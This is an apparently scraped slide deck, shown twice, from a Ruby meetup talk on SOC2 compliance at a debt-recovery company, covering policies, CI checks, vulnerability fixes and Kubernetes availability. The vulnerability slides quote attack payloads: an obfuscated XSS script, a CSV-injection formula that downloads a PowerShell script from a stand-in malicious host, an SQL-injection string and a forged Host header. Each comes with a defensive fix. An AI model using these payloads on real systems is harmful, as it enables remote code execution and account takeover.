SOC2
A story of despair and
madness
Nov 5th, 2022
VISION
Our aim is to be the number-one recovery
experience
for businesses and their customers
around the world.
WHY?
To help consumers pay their past-due bills easily.
???
SOC 2 defines criteria for managing customer data based
on five “trust service principles”—security, availability,
processing integrity, confidentiality and privacy.
From SOC2 Compliance article
Security
Defines data protection. This is where risk-mitigation comes in to safeguard
against breaches, unauthorised access and disclosure.
Availability
Defines the measures put in place to deliver performance and uptime to meet
business objectives and service level agreements. This is where monitoring,
backups and disaster recovery solutions are evaluated
Processing Integrity
Defines the controls in place to ensure consistency in the data and reliability in the
manner it is processed.
… think unexplained errors, corruption and anomalies.
Confidentiality
Defines how information - s.a. personal identifiable data, trade secrets and
anything governed by an NDA - is collected, processed and ultimately disposed of.
How it is shared, who it is shared with and how everything is tracked.
Privacy
Closely related to Confidentiality: focuses on PII, how it is collected and managed,
and the consent mechanisms surrounding its collection.
How
You get audited
- Processes and policies
- Software pipeline
- Security
- Infrastructure
Processes and Policies
People
Humans are the biggest risk
Track employees across the entire lifecycle
▸ Job posting
▸ Application and review
▸ Hire and contract signature
▸ Background checks
▸ Onboarding and training
▸ Performance evaluations
▸ Off-boarding
Assets and Accesses
Managing users and devices
▸ Access grants, modifications and removals
▸ User rights and permissions review
▸ Device management through MDM
▸ Endpoint protection (firewall, anti- malware, OS
hardening …) of all assets
Customers
Handling requests and requirements
Track all customer requests from start to finish
▸ Request issuance
▸ Support acknowledgment
▸ Dev ticket creation
▸ PR creation
▸ Merge and deployment
▸ Request status feedback to customer
▸ Request closure
SW Pipeline
Quality gates
16
Automated checks on all PRs:
▸ Tests (CircleCI)
▹ Unit
▹ Integrated
▸ Static code analysis (CodeClimate)
▸ Dependency checks (Snyk)
▸ Human approval
Static analysis
17
CodeClimate
▸ Bundles various services s.a.:
▹ Brakeman
▹ Bundler-audit
▹ Nodesecurity
▹ Codenarc
▹ Various linters
Static analysis
18
Manual run
gem install bundler-audit
bundle-audit
Bundler-audit
gem install brakeman
brakeman
Brakeman
== Overview ==
Controllers: X
Models: Y
Templates: Z
Errors: 0
Security Warnings: ABC
== Warning Types ==
…
Confidence: Weak
Category: Redirect
Check: Redirect
Message: Possible unprotected redirect
Code: …
File: …
Line: 90
Confidence: Weak
Category: Redirect
Check: Redirect
Message: Possible unprotected redirect
Code: …
File: …
Line: 110
Brakeman - Repo
Bundler-audit- Repo
Dependency checks
19
Snyk and Dependabot (Github)
▸ Auto-generated PRs
Security
Audits
Performing independent tests
▸ 3rd-party
▹ Human-driven
▹ Recurring
▹ GoSecure
▸ Automated
▹ Vulnerability check
▹ Monthly or more often
▹ HaloSecurity
▹ OWASP Zap
Vulnerabilities - Stored XSS attacks
Account takeover
Through social engineering a user can be tricked into
uploading a recipient list with malicious JavaScript code.
In order to bypass some restrictions, the team used an esoteric
subset of JavaScript where code is written using only six
characters [, ], (,), !, and +.
OWASP - Types of cross-site scripting
Stack Overflow - server xss vs client xss
<script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]
+(!![]+[])[+[]]]
[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]
+[])[+[]]]+[])[!
+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!
[]+[])[+!+[]]+(!
![]+[])[+ []]])[+ !+ []+[+[]]] +([][[] …
+!+[]]]()[+!+[]+[!+[]+!+[]]])())</script>
When consulting his activity feed, this script will execute in
the session context of the targeted victim changing his
email address.
Vulnerabilities - Stored XSS attacks
The fix
Entries entered by users should by systematically validated before processing
and storage. The use of character whitelists via strict regular expression on
entries is the most effective means of mitigation against this type of attack.
OWASP - Types of cross-site scripting
Stack Overflow - server xss vs client xss
gem 'rails-html-sanitizer'
@full_sanitizer = Rails::Html::FullSanitizer.new
workbook.parse().map do |row|
row.update(row) { |key, value| @full_sanitizer.sanitize(value.to_s) }
end
In addition, it is highly recommended to
systematically encode user or database data
into an inert format for Web browsers
before sending them back to the user.
Never trust user input.
Vulnerabilities - CSV injection
An attacker could execute a formula using "=" at the beginning
of the input, instead of putting a real subject for an activity.
When the victim downloads the CSV file, the formula could be
executed.
OWASP – CSV Injection
CSV Injection, also known as Formula Injection, occurs when
web applications embed user-controlled input inside CSV
files without proper validation.
When a spreadsheet program such as Microsoft Excel is used
to open a CSV file, any cells starting with special characters,
such as '=' or '@,' will be interpreted by the software as a
formula.
=cmd|' /C calc'!'A1'
=cmd|'/c powershell.exe -w hidden $e=(New-Object
System.Net.WebClient).DownloadString("https://malicious.c
om/shell.ps1");
From Bishop Fox
Remote code execution
Vulnerabilities - CSV injection
In order to prevent this attack, ensure that user input cannot
start with the following characters.
● Equals to ('=')
● Plus ('+')
● Minus ('-')
● At ('@')
This would prevent the attacker from being able to send
commands that could execute on the victim's machine. One
must also escape special characters in the input to avoid
malicious input from being executed.
OWASP – CSV Injection
The fix
class CsvSafe < CSV
PARANOID_MSG = 'csv injection detected'
def initialize(data, options = {})
options[:converters] = [] if options[:converters].nil?
options[:converters] << lambda(&method(:sanitize_field))
@paranoid = if options.key?(:paranoid)
options = options.dup
options.delete(:paranoid)
else
false
end
super(data, options)
end
def <<(row)
super(sanitize_row(row))
end
end
Vulnerabilities - CSV injection
All export calls would be updated to use this sort of approach,
to ensure any malicious statement is caught and handled.
OWASP – CSV Injection
SPECIAL = %w[- = + @].freeze
def starts_with_special_character?(str)
return false if str.blank?
SPECIAL.include?(str[0])
end
def prefix(field)
encoded = field.encode(CSV::ConverterEncoding)
"'#{encoded}"
rescue StandardError
"'#{field}"
end
def prefix_if_necessary(field)
str = field.to_s
if starts_with_special_character?(str)
raise RuntimeError, "#{PARANOID_MSG}, …"
prefix(str)
else
field
end
end
The fix
def self.to_csv
invoices = Invoice.all
header = CsvSafe.generate_line(CSV_HEADERS)
body = all.without_deleted.map do |org|
CsvSafe.generate_line([
org.id,
"""#{org.billing_name}""",
"""#{org.billing_street_address}""",
invoices.find_by(organization_id: org.id).try(:date)
], paranoid: true)
end.map(&:html_safe)
([header] + body).join('')
end
Never trust user input.
Vulnerabilities - Email templates
OWASP – CSV Injection
When it’s possible for users to create messages and message
templates, you want to ensure you control (or at the very least
scrub) what goes out.
Links and javascript
Vulnerabilities - Email templates
OWASP – CSV Injection
class ActivityInstructionsScrubber < Rails::Html::PermitScrubber
ACCEPTABLE_ELEMENTS = %w[
strong em b i u p code pre tt samp kbd var sub sup dfn cite big small
address hr br div span h1 h2 h3 h4 …
].freeze
WHITELISTABLE_ELEMENTS = %w[a].freeze
# (i.e. those that do not need a close-tag to be useful)
PERSISTED_EMPTY_ELEMENTS = %w[hr br img].freeze
RESTRICTED_ATTRIBUTES = %w[width href].freeze
WHITELISTABLE_ATTRIBUTES = %w[href class].freeze
# These unallowed elements will be stripped, i.e. subtree will be kept
STRIP_RESTRICTED_ELEMENTS = %w[directive a body].freeze
WHITELISTABLE_RESTRICTED_ELEMENTS = %w[a].freeze
ALLOWED_CSS_PROPERTIES = %w[
text-decoration text-align text-decoration margin …
].freeze
attr_reader :remove_empty_elements, :enable_whitelisting, :css_properties
…
end
The fix
@scrub = ActivityInstructionsScrubber.new(
enable_whitelisting: … )
…
<%=
sanitize_email_text(
text_with_variables(scrubber: @scrub,
@body(locale),
@vars(locale))).html_safe
%>
…
Never trust user input.
Vulnerabilities - MFA
Authentication
Very important topic for SOC2 compliance as weak passwords
and human error is often the easiest way into a seemingly
“secure” system.
Adding a 2nd authentication factor is the simplest safeguard
against this.
● Email (insecure)
● SMS (less insecure … SIM swapping)
● Auth APP (very effective … most convenient)
● Hardware dongle (most effective … least convenient)
NIST - Password guidelines
Buy
Delegate to … Auth0 (ex.)
Build
Manage and maintain
devise-two-factor
two_factor_authentication
Vulnerabilities - passwords
Password guidelines (NIST)
● Password length: Minimum length is 8 characters
● Password complexity: recommends password
complexity not be imposed.
● Password “hints”/authentication questions: shouldn’t
be used.
● Check for “known bad” passwords: New and changed
passwords are to be checked against a list of common
or previously compromised passwords (e.g. from
dictionaries, previous breaches, keyboard patterns,
and contextual words [e.g. the user’s username]).
● Throttling: Implement throttling to limit failed
authentication attempts.
● Password expiration: shouldn’t be used
● MFA: SMS shouldn’t be used
NIST - Password guidelines
Requirements
Very auditor-dependant
Vulnerabilities - Improper access control
Where access control is not properly applied, tampering the
content of various HTTP requests of diverse application
endpoints can lead to unauthorized actions. This could also
lead to privilege escalation and unauthorized asset access and
modification.
The attacker only needs a browser and, in some cases, a local
proxy to perform such attack.
OWASP – Access Control
The affected application does not properly validate users’
privileges before performing various actions that should
otherwise be impossible or restricted. In some cases, no prior
authentication is necessary to access the application's
functionalities and users’ documents, leaving them
unprotected and exposed on the Internet.
Those vulnerabilities are the consequence of an inadequate
access control enforcement by the application.
In our case, some views required admin privileges but could
still be consulted in read-only mode by lower-privileged user
Privilege escalation
Vulnerabilities - Improper access control
This lead to a complete roles and permission revamp in order
to not only address this issue, but also introduce better
permissions management.
This was already on roadmap in order to better serve
enterprise customers.
The communication of this vulnerability accelerated that
development.
OWASP – Access Control
class UserPolicy < ApplicationPolicy
def manage_organization?
role_permission(:manage_…) == :enabled
end
def invite_users?
role_permission(:invite_users) == :enabled
end
def remove_users?
role_permission(:remove_users) == :enabled
end
class Scope < Scope
def resolve
…
end
end
end
The fix
Vulnerabilities - SQL injection
SQL injection is a web application vulnerability
that occurs when untrusted data is inserted in a
SQL query without any sanitization or escaping.
CVE-2012-2695
Invicti – SQL injection
SecureFlag - SQL injection
UNSAFE
Model.find_by(...)
SAFE
Model.find(...)
Model.find_by_name(...)
Dynamic Attributes
UNSAFE
Model.where("name = '#{params[:name]}'")
Input -> "') or 1=1--"
SELECT "users".* FROM "users" WHERE (name = '') or 1=1--')
SAFE
Model.where(name: param[:name])
Model.where(["name = ?", "#{params[:name]}"])
Model.where("name = :email", email: param[:name])
Protect against user input
Never trust user input.
Vulnerabilities - Host header injection
The ability to use an authentic application URL,
targeting the correct domain and with a valid
SSL certificate lends credibility to the phishing
attack because many users will not notice
the subsequent redirection to a different
domain.
OWASP – CSV Injection
X-Forwarded-Host: attack.malicious.com
The application appears to trust the user-supplied host header. By
supplying a malicious host header, it is possible to redirect to another site.
One common use-case: generating a poisoned password reset link.
Vulnerabilities - Host header injection
If the Host header is required, make sure you
validate it properly.
This should involve checking it against a
whitelist of permitted domains and rejecting or
redirecting any requests for unrecognized hosts.
This should include host: and x-forwarded-host
parameters.
OWASP – CSV Injection
# Hosts white list. All requests from other hosts will reject with 403
YAML.safe_load(Rails.root.join('config', 'hosts.yml').read)[Rails.env].split.each do |host|
config.hosts << host
end
development:
dev.lexop.com
staging:
stg.lexop.com
production:
app.lexop.com
subdomain.domain.com
Application initializer
Configuration file
The fix
Never trust user input.
Vulnerabilities - CSPs
The HTTP Content-Security-Policy response
header allows web site administrators to control
resources the user agent is allowed to load for a
given page.
This helps guard against cross-site scripting
attacks (Cross-site_scripting).
Mozilla - Content security Policy headers
Mozilla - unsafe inline handling
Application initializer
config.action_dispatch.default_headers = {
'Content-Security-Policy' =>
"default-src 'self' https://sub.lexop.com ...; " 
"frame-src 'self' https://sub.lexop.com ... https://*.sandbox.com;" 
"img-src 'self' data: https://sub.lexop.com https://www.google-analytics.com ...; " 
"media-src 'none'; " 
'form-action https://sub.lexop.com ...; ' 
"connect-src 'self' https://sub.lexop.com wss://stg.lexop.com ... https://connect.domain.com;"

"object-src 'self' 'sha256-B2yPHKaX…=' https://sub-api.lexop.com ...; " 
"font-src 'self' 'nonce-2726c7f26c' https://sub.lexop.com ...; " 
"script-src 'self' 'unsafe-inline' 'unsafe-eval' https://sub.lexop.com ... https://cdn.com; "

"style-src 'self' 'unsafe-inline' https://sub.lexop.com ... https://cnd.com; " 
'report-uri https://sub.report-uri.com/r/d/csp/enforce; ',
…
}
unsafe-inline
Supports inline scripting … possible to mitigate
using nonces or hashes
unsafe-eval
Some legitimate 3rd-parties still use eval()
script-src 'nonce-2726c7f26c'
…
<script nonce="2726c7f26c">
const inline = 1;
// …
</script>
Vulnerabilities - CSPs
Mozilla - Content security Policy headers
Mozilla - unsafe inline handling
Application initializer
config.action_dispatch.default_headers = {
'Content-Security-Policy' =>
…
'Referrer-Policy' => 'strict-origin-when-cross-origin',
'Feature-Policy' => "geolocation 'self'; microphone 'self'; camera 'self' ",
'X-Content-Type-Options' => 'nosniff',
'X-Frame-Options' => 'SAMEORIGIN',
}
X-Content-type-Options
nosniff can protect against mime-confusion
attacks where you might upload an “image”
containing executable content leading to an XSS
attack
X-Frame-Options
SAMEORIGIN implies your site cannot be loaded
in a frame anywhere else, to mitigate UI
redressing attacks
Feature-Policy
Restrict browser access to the device resources
s.a. camera and microphone.
NEVER EVER EVER trust user input.
Infrastructure
45
▸ Self-healing
▸ Availability zones
▸ Load balancing and replication
▸ Probes
Kubernetes - Components
Availability
Kubernetes
© 2022 46
VM-based architecture
▸ OS updates to manage
▸ Inefficient use of memory
▸ Inefficient use of processing
▸ Additional configuration
▹ Failure recovery
▹ Redundancy
Kubernetes - Components
Availability
Before the transformation
47
Clusters and pods
▸ Multiple pods per logical group
▸ Memory allocation and limits
▸ Processing allocation and limits
▸ Liveness probe
▸ Readiness probe
Availability
After the transformation
Kubernetes - Components
48
Kubernetes - Configuring probes
Availability
Liveness probe
The kubelet uses liveness probes to know when to
restart a container.
For example, liveness probes could catch a deadlock,
where an application is running, but unable to make
progress.
Restarting a container in such a state can help to
make the application more available despite bugs.
livenessProbe:
httpGet:
path: /health_check
port: 3000
httpHeaders:
- name: Host
value: subdomain.domain.com
initialDelaySeconds: 45
periodSeconds: 30
path: /health_check
This HTTP call to an internal resource call will determine if all
services are operational.
initialDelaySeconds: 45
This call will start 45 seconds after the pod is online.
periodSeconds: 30
This call will run every 30 seconds.
49
Availability
Readiness probe
The kubelet uses readiness probes to know when a
container is ready to start accepting traffic.
A Pod is considered ready when all of its containers
are ready. One use of this signal is to control which
Pods are used as backends for Services.
When a Pod is not ready, it is removed from Service
load balancers.
readinessProbe:
httpGet:
path: /health_check
port: 3000
httpHeaders:
- name: Host
value: domain.subdomain.com
initialDelaySeconds: 25
periodSeconds: 10
successThreshold: 3
failureThreshold: 2
initialDelaySeconds: 25
This call will start 25 seconds after the pod is online.
periodSeconds: 10
This call will run every 10 seconds.
successThreshold: 3
Minimum consecutive times the probes will need to run to be
considered successful after a failure
Kubernetes - Configuring probes
DR and Continuity
50
▸ Database as a service
▹ Read-replicated and geo-redundant
▸ Self-healing infrastructure
▹ Less oversight needed
▸ Packaged into images (docker)
▹ Immutable
▹ Ephemeral (security)
▹ Easily re-deployable
Monitoring
51
Consider the different services
▸ NewRelic, DataDog, Cloud-native …
▸ Application monitoring
▸ Log aggregation and analysis
▹ Source multiplicity
▸ Infrastructure monitoring
▸ SLIs, SLOs and SLAs
Datadog - Track SLIs and SLOs
Why
Because …:
- Often a requirement
- Always an effective sales tool
- In hindsight, a useful thing to go through (go figure)
Thank you
Learn more at lexop.com
Lexop helps companies retain
past-due customers by facilitating
payment and empowering them
to self-cure.
It’s quick to implement, easy to use, and scales to
fit your needs.

Becoming a SOC2 Ruby Shop - Montreal.rb November, 5, 2022 Ruby Meetup

  • 1.
    SOC2 A story ofdespair and madness Nov 5th, 2022
  • 2.
    VISION Our aim isto be the number-one recovery experience for businesses and their customers around the world.
  • 3.
    WHY? To help consumerspay their past-due bills easily.
  • 4.
    ??? SOC 2 definescriteria for managing customer data based on five “trust service principles”—security, availability, processing integrity, confidentiality and privacy. From SOC2 Compliance article
  • 5.
    Security Defines data protection.This is where risk-mitigation comes in to safeguard against breaches, unauthorised access and disclosure.
  • 6.
    Availability Defines the measuresput in place to deliver performance and uptime to meet business objectives and service level agreements. This is where monitoring, backups and disaster recovery solutions are evaluated
  • 7.
    Processing Integrity Defines thecontrols in place to ensure consistency in the data and reliability in the manner it is processed. … think unexplained errors, corruption and anomalies.
  • 8.
    Confidentiality Defines how information- s.a. personal identifiable data, trade secrets and anything governed by an NDA - is collected, processed and ultimately disposed of. How it is shared, who it is shared with and how everything is tracked.
  • 9.
    Privacy Closely related toConfidentiality: focuses on PII, how it is collected and managed, and the consent mechanisms surrounding its collection.
  • 10.
    How You get audited -Processes and policies - Software pipeline - Security - Infrastructure
  • 11.
  • 12.
    People Humans are thebiggest risk Track employees across the entire lifecycle ▸ Job posting ▸ Application and review ▸ Hire and contract signature ▸ Background checks ▸ Onboarding and training ▸ Performance evaluations ▸ Off-boarding
  • 13.
    Assets and Accesses Managingusers and devices ▸ Access grants, modifications and removals ▸ User rights and permissions review ▸ Device management through MDM ▸ Endpoint protection (firewall, anti- malware, OS hardening …) of all assets
  • 14.
    Customers Handling requests andrequirements Track all customer requests from start to finish ▸ Request issuance ▸ Support acknowledgment ▸ Dev ticket creation ▸ PR creation ▸ Merge and deployment ▸ Request status feedback to customer ▸ Request closure
  • 15.
  • 16.
    Quality gates 16 Automated checkson all PRs: ▸ Tests (CircleCI) ▹ Unit ▹ Integrated ▸ Static code analysis (CodeClimate) ▸ Dependency checks (Snyk) ▸ Human approval
  • 17.
    Static analysis 17 CodeClimate ▸ Bundlesvarious services s.a.: ▹ Brakeman ▹ Bundler-audit ▹ Nodesecurity ▹ Codenarc ▹ Various linters
  • 18.
    Static analysis 18 Manual run geminstall bundler-audit bundle-audit Bundler-audit gem install brakeman brakeman Brakeman == Overview == Controllers: X Models: Y Templates: Z Errors: 0 Security Warnings: ABC == Warning Types == … Confidence: Weak Category: Redirect Check: Redirect Message: Possible unprotected redirect Code: … File: … Line: 90 Confidence: Weak Category: Redirect Check: Redirect Message: Possible unprotected redirect Code: … File: … Line: 110 Brakeman - Repo Bundler-audit- Repo
  • 19.
    Dependency checks 19 Snyk andDependabot (Github) ▸ Auto-generated PRs
  • 20.
  • 21.
    Audits Performing independent tests ▸3rd-party ▹ Human-driven ▹ Recurring ▹ GoSecure ▸ Automated ▹ Vulnerability check ▹ Monthly or more often ▹ HaloSecurity ▹ OWASP Zap
  • 22.
    Vulnerabilities - StoredXSS attacks Account takeover Through social engineering a user can be tricked into uploading a recipient list with malicious JavaScript code. In order to bypass some restrictions, the team used an esoteric subset of JavaScript where code is written using only six characters [, ], (,), !, and +. OWASP - Types of cross-site scripting Stack Overflow - server xss vs client xss <script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]] +(!![]+[])[+[]]] [([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![] +[])[+[]]]+[])[! +[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(! []+[])[+!+[]]+(! ![]+[])[+ []]])[+ !+ []+[+[]]] +([][[] … +!+[]]]()[+!+[]+[!+[]+!+[]]])())</script> When consulting his activity feed, this script will execute in the session context of the targeted victim changing his email address.
  • 23.
    Vulnerabilities - StoredXSS attacks The fix Entries entered by users should by systematically validated before processing and storage. The use of character whitelists via strict regular expression on entries is the most effective means of mitigation against this type of attack. OWASP - Types of cross-site scripting Stack Overflow - server xss vs client xss gem 'rails-html-sanitizer' @full_sanitizer = Rails::Html::FullSanitizer.new workbook.parse().map do |row| row.update(row) { |key, value| @full_sanitizer.sanitize(value.to_s) } end In addition, it is highly recommended to systematically encode user or database data into an inert format for Web browsers before sending them back to the user.
  • 24.
  • 25.
    Vulnerabilities - CSVinjection An attacker could execute a formula using "=" at the beginning of the input, instead of putting a real subject for an activity. When the victim downloads the CSV file, the formula could be executed. OWASP – CSV Injection CSV Injection, also known as Formula Injection, occurs when web applications embed user-controlled input inside CSV files without proper validation. When a spreadsheet program such as Microsoft Excel is used to open a CSV file, any cells starting with special characters, such as '=' or '@,' will be interpreted by the software as a formula. =cmd|' /C calc'!'A1' =cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("https://malicious.c om/shell.ps1"); From Bishop Fox Remote code execution
  • 26.
    Vulnerabilities - CSVinjection In order to prevent this attack, ensure that user input cannot start with the following characters. ● Equals to ('=') ● Plus ('+') ● Minus ('-') ● At ('@') This would prevent the attacker from being able to send commands that could execute on the victim's machine. One must also escape special characters in the input to avoid malicious input from being executed. OWASP – CSV Injection The fix class CsvSafe < CSV PARANOID_MSG = 'csv injection detected' def initialize(data, options = {}) options[:converters] = [] if options[:converters].nil? options[:converters] << lambda(&method(:sanitize_field)) @paranoid = if options.key?(:paranoid) options = options.dup options.delete(:paranoid) else false end super(data, options) end def <<(row) super(sanitize_row(row)) end end
  • 27.
    Vulnerabilities - CSVinjection All export calls would be updated to use this sort of approach, to ensure any malicious statement is caught and handled. OWASP – CSV Injection SPECIAL = %w[- = + @].freeze def starts_with_special_character?(str) return false if str.blank? SPECIAL.include?(str[0]) end def prefix(field) encoded = field.encode(CSV::ConverterEncoding) "'#{encoded}" rescue StandardError "'#{field}" end def prefix_if_necessary(field) str = field.to_s if starts_with_special_character?(str) raise RuntimeError, "#{PARANOID_MSG}, …" prefix(str) else field end end The fix def self.to_csv invoices = Invoice.all header = CsvSafe.generate_line(CSV_HEADERS) body = all.without_deleted.map do |org| CsvSafe.generate_line([ org.id, """#{org.billing_name}""", """#{org.billing_street_address}""", invoices.find_by(organization_id: org.id).try(:date) ], paranoid: true) end.map(&:html_safe) ([header] + body).join('') end
  • 28.
  • 29.
    Vulnerabilities - Emailtemplates OWASP – CSV Injection When it’s possible for users to create messages and message templates, you want to ensure you control (or at the very least scrub) what goes out. Links and javascript
  • 30.
    Vulnerabilities - Emailtemplates OWASP – CSV Injection class ActivityInstructionsScrubber < Rails::Html::PermitScrubber ACCEPTABLE_ELEMENTS = %w[ strong em b i u p code pre tt samp kbd var sub sup dfn cite big small address hr br div span h1 h2 h3 h4 … ].freeze WHITELISTABLE_ELEMENTS = %w[a].freeze # (i.e. those that do not need a close-tag to be useful) PERSISTED_EMPTY_ELEMENTS = %w[hr br img].freeze RESTRICTED_ATTRIBUTES = %w[width href].freeze WHITELISTABLE_ATTRIBUTES = %w[href class].freeze # These unallowed elements will be stripped, i.e. subtree will be kept STRIP_RESTRICTED_ELEMENTS = %w[directive a body].freeze WHITELISTABLE_RESTRICTED_ELEMENTS = %w[a].freeze ALLOWED_CSS_PROPERTIES = %w[ text-decoration text-align text-decoration margin … ].freeze attr_reader :remove_empty_elements, :enable_whitelisting, :css_properties … end The fix @scrub = ActivityInstructionsScrubber.new( enable_whitelisting: … ) … <%= sanitize_email_text( text_with_variables(scrubber: @scrub, @body(locale), @vars(locale))).html_safe %> …
  • 31.
  • 32.
    Vulnerabilities - MFA Authentication Veryimportant topic for SOC2 compliance as weak passwords and human error is often the easiest way into a seemingly “secure” system. Adding a 2nd authentication factor is the simplest safeguard against this. ● Email (insecure) ● SMS (less insecure … SIM swapping) ● Auth APP (very effective … most convenient) ● Hardware dongle (most effective … least convenient) NIST - Password guidelines Buy Delegate to … Auth0 (ex.) Build Manage and maintain devise-two-factor two_factor_authentication
  • 33.
    Vulnerabilities - passwords Passwordguidelines (NIST) ● Password length: Minimum length is 8 characters ● Password complexity: recommends password complexity not be imposed. ● Password “hints”/authentication questions: shouldn’t be used. ● Check for “known bad” passwords: New and changed passwords are to be checked against a list of common or previously compromised passwords (e.g. from dictionaries, previous breaches, keyboard patterns, and contextual words [e.g. the user’s username]). ● Throttling: Implement throttling to limit failed authentication attempts. ● Password expiration: shouldn’t be used ● MFA: SMS shouldn’t be used NIST - Password guidelines Requirements Very auditor-dependant
  • 34.
    Vulnerabilities - Improperaccess control Where access control is not properly applied, tampering the content of various HTTP requests of diverse application endpoints can lead to unauthorized actions. This could also lead to privilege escalation and unauthorized asset access and modification. The attacker only needs a browser and, in some cases, a local proxy to perform such attack. OWASP – Access Control The affected application does not properly validate users’ privileges before performing various actions that should otherwise be impossible or restricted. In some cases, no prior authentication is necessary to access the application's functionalities and users’ documents, leaving them unprotected and exposed on the Internet. Those vulnerabilities are the consequence of an inadequate access control enforcement by the application. In our case, some views required admin privileges but could still be consulted in read-only mode by lower-privileged user Privilege escalation
  • 35.
    Vulnerabilities - Improperaccess control This lead to a complete roles and permission revamp in order to not only address this issue, but also introduce better permissions management. This was already on roadmap in order to better serve enterprise customers. The communication of this vulnerability accelerated that development. OWASP – Access Control class UserPolicy < ApplicationPolicy def manage_organization? role_permission(:manage_…) == :enabled end def invite_users? role_permission(:invite_users) == :enabled end def remove_users? role_permission(:remove_users) == :enabled end class Scope < Scope def resolve … end end end The fix
  • 36.
    Vulnerabilities - SQLinjection SQL injection is a web application vulnerability that occurs when untrusted data is inserted in a SQL query without any sanitization or escaping. CVE-2012-2695 Invicti – SQL injection SecureFlag - SQL injection UNSAFE Model.find_by(...) SAFE Model.find(...) Model.find_by_name(...) Dynamic Attributes UNSAFE Model.where("name = '#{params[:name]}'") Input -> "') or 1=1--" SELECT "users".* FROM "users" WHERE (name = '') or 1=1--') SAFE Model.where(name: param[:name]) Model.where(["name = ?", "#{params[:name]}"]) Model.where("name = :email", email: param[:name]) Protect against user input
  • 37.
  • 38.
    Vulnerabilities - Hostheader injection The ability to use an authentic application URL, targeting the correct domain and with a valid SSL certificate lends credibility to the phishing attack because many users will not notice the subsequent redirection to a different domain. OWASP – CSV Injection X-Forwarded-Host: attack.malicious.com The application appears to trust the user-supplied host header. By supplying a malicious host header, it is possible to redirect to another site. One common use-case: generating a poisoned password reset link.
  • 39.
    Vulnerabilities - Hostheader injection If the Host header is required, make sure you validate it properly. This should involve checking it against a whitelist of permitted domains and rejecting or redirecting any requests for unrecognized hosts. This should include host: and x-forwarded-host parameters. OWASP – CSV Injection # Hosts white list. All requests from other hosts will reject with 403 YAML.safe_load(Rails.root.join('config', 'hosts.yml').read)[Rails.env].split.each do |host| config.hosts << host end development: dev.lexop.com staging: stg.lexop.com production: app.lexop.com subdomain.domain.com Application initializer Configuration file The fix
  • 40.
  • 41.
    Vulnerabilities - CSPs TheHTTP Content-Security-Policy response header allows web site administrators to control resources the user agent is allowed to load for a given page. This helps guard against cross-site scripting attacks (Cross-site_scripting). Mozilla - Content security Policy headers Mozilla - unsafe inline handling Application initializer config.action_dispatch.default_headers = { 'Content-Security-Policy' => "default-src 'self' https://sub.lexop.com ...; " "frame-src 'self' https://sub.lexop.com ... https://*.sandbox.com;" "img-src 'self' data: https://sub.lexop.com https://www.google-analytics.com ...; " "media-src 'none'; " 'form-action https://sub.lexop.com ...; ' "connect-src 'self' https://sub.lexop.com wss://stg.lexop.com ... https://connect.domain.com;" "object-src 'self' 'sha256-B2yPHKaX…=' https://sub-api.lexop.com ...; " "font-src 'self' 'nonce-2726c7f26c' https://sub.lexop.com ...; " "script-src 'self' 'unsafe-inline' 'unsafe-eval' https://sub.lexop.com ... https://cdn.com; " "style-src 'self' 'unsafe-inline' https://sub.lexop.com ... https://cnd.com; " 'report-uri https://sub.report-uri.com/r/d/csp/enforce; ', … } unsafe-inline Supports inline scripting … possible to mitigate using nonces or hashes unsafe-eval Some legitimate 3rd-parties still use eval() script-src 'nonce-2726c7f26c' … <script nonce="2726c7f26c"> const inline = 1; // … </script>
  • 42.
    Vulnerabilities - CSPs Mozilla- Content security Policy headers Mozilla - unsafe inline handling Application initializer config.action_dispatch.default_headers = { 'Content-Security-Policy' => … 'Referrer-Policy' => 'strict-origin-when-cross-origin', 'Feature-Policy' => "geolocation 'self'; microphone 'self'; camera 'self' ", 'X-Content-Type-Options' => 'nosniff', 'X-Frame-Options' => 'SAMEORIGIN', } X-Content-type-Options nosniff can protect against mime-confusion attacks where you might upload an “image” containing executable content leading to an XSS attack X-Frame-Options SAMEORIGIN implies your site cannot be loaded in a frame anywhere else, to mitigate UI redressing attacks Feature-Policy Restrict browser access to the device resources s.a. camera and microphone.
  • 43.
    NEVER EVER EVERtrust user input.
  • 44.
  • 45.
    45 ▸ Self-healing ▸ Availabilityzones ▸ Load balancing and replication ▸ Probes Kubernetes - Components Availability Kubernetes
  • 46.
    © 2022 46 VM-basedarchitecture ▸ OS updates to manage ▸ Inefficient use of memory ▸ Inefficient use of processing ▸ Additional configuration ▹ Failure recovery ▹ Redundancy Kubernetes - Components Availability Before the transformation
  • 47.
    47 Clusters and pods ▸Multiple pods per logical group ▸ Memory allocation and limits ▸ Processing allocation and limits ▸ Liveness probe ▸ Readiness probe Availability After the transformation Kubernetes - Components
  • 48.
    48 Kubernetes - Configuringprobes Availability Liveness probe The kubelet uses liveness probes to know when to restart a container. For example, liveness probes could catch a deadlock, where an application is running, but unable to make progress. Restarting a container in such a state can help to make the application more available despite bugs. livenessProbe: httpGet: path: /health_check port: 3000 httpHeaders: - name: Host value: subdomain.domain.com initialDelaySeconds: 45 periodSeconds: 30 path: /health_check This HTTP call to an internal resource call will determine if all services are operational. initialDelaySeconds: 45 This call will start 45 seconds after the pod is online. periodSeconds: 30 This call will run every 30 seconds.
  • 49.
    49 Availability Readiness probe The kubeletuses readiness probes to know when a container is ready to start accepting traffic. A Pod is considered ready when all of its containers are ready. One use of this signal is to control which Pods are used as backends for Services. When a Pod is not ready, it is removed from Service load balancers. readinessProbe: httpGet: path: /health_check port: 3000 httpHeaders: - name: Host value: domain.subdomain.com initialDelaySeconds: 25 periodSeconds: 10 successThreshold: 3 failureThreshold: 2 initialDelaySeconds: 25 This call will start 25 seconds after the pod is online. periodSeconds: 10 This call will run every 10 seconds. successThreshold: 3 Minimum consecutive times the probes will need to run to be considered successful after a failure Kubernetes - Configuring probes
  • 50.
    DR and Continuity 50 ▸Database as a service ▹ Read-replicated and geo-redundant ▸ Self-healing infrastructure ▹ Less oversight needed ▸ Packaged into images (docker) ▹ Immutable ▹ Ephemeral (security) ▹ Easily re-deployable
  • 51.
